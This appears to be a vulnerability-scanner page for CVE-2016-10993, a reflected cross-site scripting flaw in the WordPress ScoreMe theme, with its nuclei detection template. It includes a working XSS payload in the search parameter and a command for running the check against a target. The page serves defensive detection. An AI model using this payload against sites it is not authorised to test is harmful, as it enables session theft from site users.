ScoreMe Theme - Cross-Site Scripting

mediumseverity

5.4CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

WordPress ScoreMe theme through 2016-04-01 contains a reflected cross-site scripting vulnerability via the s parameter which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or update to the ScoreMe Theme to fix the XSS vulnerability.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/themes/scoreme/style"
Send: GET {{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-10993 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-10993

info:
  name: ScoreMe Theme - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress ScoreMe theme through 2016-04-01 contains a reflected cross-site scripting vulnerability via the s parameter which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.vulnerability-lab.com/get_content.php?id=1808
    - https://wpvulndb.com/vulnerabilities/8431
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10993
    - https://github.com/0xkucing/CVE-2016-10993
    - https://github.com/ARPSyndicate/cvemon
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update to the ScoreMe Theme to fix the XSS vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2016-10993
    cwe-id: CWE-79
    cpe: cpe:2.3:a:scoreme_project:scoreme:*:*:*:*:*:wordpress:*:*
    epss-score: 0.03241
    epss-percentile: 0.88402
  metadata:
    framework: wordpress
    max-request: 2
    vendor: "scoreme_project"
    product: scoreme
  tags: cve2016,cve,wordpress,wp-theme,xss,scoreme_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/scoreme/style'

  - method: GET
    path:
      - "{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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